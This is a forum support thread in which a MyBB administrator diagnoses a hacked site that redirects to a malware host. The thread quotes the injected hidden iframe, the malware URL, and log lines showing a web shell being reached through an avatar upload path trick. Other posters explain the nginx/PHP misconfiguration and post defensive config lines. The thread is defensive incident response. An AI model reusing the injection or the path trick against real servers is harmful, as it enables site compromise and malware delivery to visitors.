New vulnerability in 1.6.9 allows malware insertion?

[dandv]

This user has been denied support.

I've just learned that my 1.6.9 installation has been hacked and redirects to a malware site. I don't see anything in the 1.6.10 changelog fixing high risk security issues, and I don't know how the attack was done, so I'll report the symptoms here. If you feel this should go into the private forum, please move the thread. I hope that users who search for keywords will land here and discover a solution.

Chrome returns a strange error:

Error 330 (net::ERR_CONTENT_DECODING_FAILED): Unknown error.

A wget -S returns an index.html that looks odd and starts with:

<iframe src="/cache/cache.php" width=2 height=2 frameborder="0"></iframe>

Getting that URL returns a 302 redirect to:
http://aa.celticchapel.com:88/page/clothes.php
which is the malware site.

I run MyBB on a VPS. No unknown IPs have ever logged into it, so the exploit happened through MyBB. MalwareBytes doesn't report anything on my PC either.

I've backed up the database and the MyBB directory, and will look next to see which templates were modified. I'll try now to get a clean 1.6.10 running. I have database backups done every 4 hours, so hopefully I'll be able to poinpoint the attack with some accuracy.

UPDATE: turns out I was using SocialSites 0.2.2, a vulnerable plugin. Hopefully this is what allowed the attack, but I can't rule it out for now. The vulnerable plugins thread should perhaps list the type of vulnerability?

[frostschutz]

This user has been denied support.

And what's in cache/cache.php?

What's the file creation timestamp of cache/cache.php and what's in your webserver logs in and around that date?

[dandv]

This user has been denied support.

Update: turns out I was using SocialSites 0.2.2. What exactly does that vulnerability allow an attacker to do?

I've attached the cache directory. Looks like an empty shell that pulls some spam URL from a remote server and redirects there. The ZIP contains a timestamp file as well as some empty template files. The PHP is easy to analyze.

The timestamp of cache.php is 2013-05-16 15:57 (PDT).

The php_errors.log has this interesting error, though from 2 months ago:

PHP Parse error: syntax error, unexpected '=' in /var/www/MyBB/uploads/avatars/1qq.php(2) : eval()'d code on line 1

I've looked in uploads/avatars. There are some rogue files there, including a shell.php, but they have older timestamps. I've attached them zipped.

Here are the odd accesses from the log around that time:

210.76.206.139 - - [16/May/2013:15:56:09 -0700] "6Z\xED\x86\xD8\xDB\xBE\x8B\xBF\xF3dv\xE7\xC7\xDE\xBB\x98(\xDC\xD2q\x1F9\x1CauQ\xB1e\x8F\xFA^\x84\xB9\x03\xF0\xCD\x9C\x14l\x9BV\x02\x9A\x14\xD4=$\x22\x09\xBD\xB9\x01\xD4\x1B\xB1\xF0}\xFA?\xF3\xD8Z2\xD4\xED\x89\x05\xC5v\x8Ayj\x83\x00q\x99LI\x00\xCF\xBE\xE6\xE5jC\x1D8\xA2k\x1BI\xDCPCf\x9DY" 400 172 "-" "-"
113.58.228.19 - - [16/May/2013:15:56:10 -0700] "C\x17\xDBv\x91O\xD7F\xC1\x02Sn\x1E\x88\x14\xF2\xBE\x1A\xC1\xB2 L\x0E\xE1\x991\x97cl-9\x86\xC1o\xB4\xDF\x81\xB9\x96\xC2}_\xCALR\xED\xAFr\xD2-2\xA7V\xA7\x89-1\x9C\xB2\x1B\xEA\x10\xA7~\xF7I>\x0EIl\xA3\xF0\xFB\xA6\x84r;\xF3\xD7/\xA1ro\xB4" 400 172 "-" "-"
66.249.74.10 - - [16/May/2013:15:56:26 -0700] "GET /user-alberta2569 HTTP/1.1" 200 3295 "-" "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)"
188.126.79.56 - - [16/May/2013:15:56:54 -0700] "GET /uploads/avatars/avatar_9999.jpg/.php HTTP/1.1" 200 16944 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"
188.126.79.56 - - [16/May/2013:15:56:59 -0700] "-" 400 0 "-" "-"
[... more of the same, different request sizes ...]
188.126.79.56 - - [16/May/2013:15:57:30 -0700] "GET /cache/cache.php HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"
188.126.79.56 - - [16/May/2013:15:58:28 -0700] "POST /uploads/avatars/avatar_9999.jpg/.php HTTP/1.1" 200 14425 "/uploads/avatars/avatar_9999.jpg/.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"
188.126.79.56 - - [16/May/2013:15:58:30 -0700] "GET / HTTP/1.1" 200 6113 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"
188.126.79.56 - - [16/May/2013:15:58:48 -0700] "POST /uploads/avatars/avatar_9999.jpg/.php HTTP/1.1" 200 14410 "/uploads/avatars/avatar_9999.jpg/.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"

[frostschutz]

This user has been denied support.

What exactly does that vulnerability allow an attacker to do?

Since files were created, at the very least arbitrary PHP code execution.

188.126.79.56 - - [16/May/2013:15:56:54 -0700] "GET /uploads/avatars/avatar_9999.jpg/.php HTTP/1.1" 200 16944 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"

http://cnedelcu.blogspot.de/2010/05/ngin...rtant.html

[Nathan Malcolm]

http://wiki.nginx.org/MyBB

There is a potential security flaw, e.g. if a user uploads an avatar images pic.gif with valid PHP-Code and calls it with /uploades/avatars/pic.gif/foo.php. The issue is discussed here. Because the link is ending with .php, nginx is passing it to the PHP interpreter. PHP can't find the file /uploades/avatars/pic.gif/foo.php, but it tries to be smart and executes /uploades/avatars/pic.gif as an PHP-script. To avoid this, you need to set cgi.fix_pathinfo=0 in your php.ini, which is set to cgi.fix_pathinfo=1 as default (unfortunately).

Looks like your server might be mis-configured.

[frostschutz]

This user has been denied support.

http://wiki.nginx.org/MyBB

Horrible guide. Don't use that.

Nice it links to http://wiki.nginx.org/Pitfalls#Passing_U...sts_to_PHP but doesn't follow the advice there.

Don't rely on PHP doing it right. It won't. So all checks have to go into the webserver configuration itself.

[Nathan Malcolm]

Nice it links to http://wiki.nginx.org/Pitfalls#Passing_U...sts_to_PHP but doesn't follow the advice there.

That's what I wanted the OP to read - I was linking to the source of the information.

[dandv]

This user has been denied support.

That's funny, I was aware of Clement Nedelcu's blog post on nginx and cgi.fix_pathinfo (because the guy has a Romanian last name, like me), and I could almost swear I had done the change. Otherwise my forum should've been pwned on a regular basis, no?

Anyway, somehow the setting in php.ini was the default, ";cgi.fix_pathinfo = 1". /etc/php5/cgi/php.ini is 644 and owner by root.

Alright, so I installed 1.6.10 and I'm reading the Tighening security guide and the What to do if you get hacked thread.

Is this a simple case of wrong cgi.fix_pathinfo, or is there some more to be learned from the incident?

[frostschutz]

This user has been denied support.

Is this a simple case of cgi.fix_pathinfo

If you like to trust PHP. I prefer to trust nginx. Best to not pass invalid requests to PHP in the first place.

[Euan T]

As frostschutz said, don't rely on PHP. In your vhost config for nginx, add this to your PHP block:

# Zero-day exploit defense.
# http://forum.nginx.org/read.php?2,88845,page=3
# Won't work properly (404 error) if the file is not stored on this server, which is entirely possible with php-fpm/php-fcgi.
# Comment the 'try_files' line out if you set up php-fpm/php-fcgi on another machine.  And then cross your fingers that you won't get hacked.
try_files $uri =404;

fastcgi_split_path_info ^(.+\.php)(/.+)$;
#NOTE: You should have "cgi.fix_pathinfo = 0;" in php.ini

Taken from the Wordpress recommended config which I see mentioned as pretty good a lot.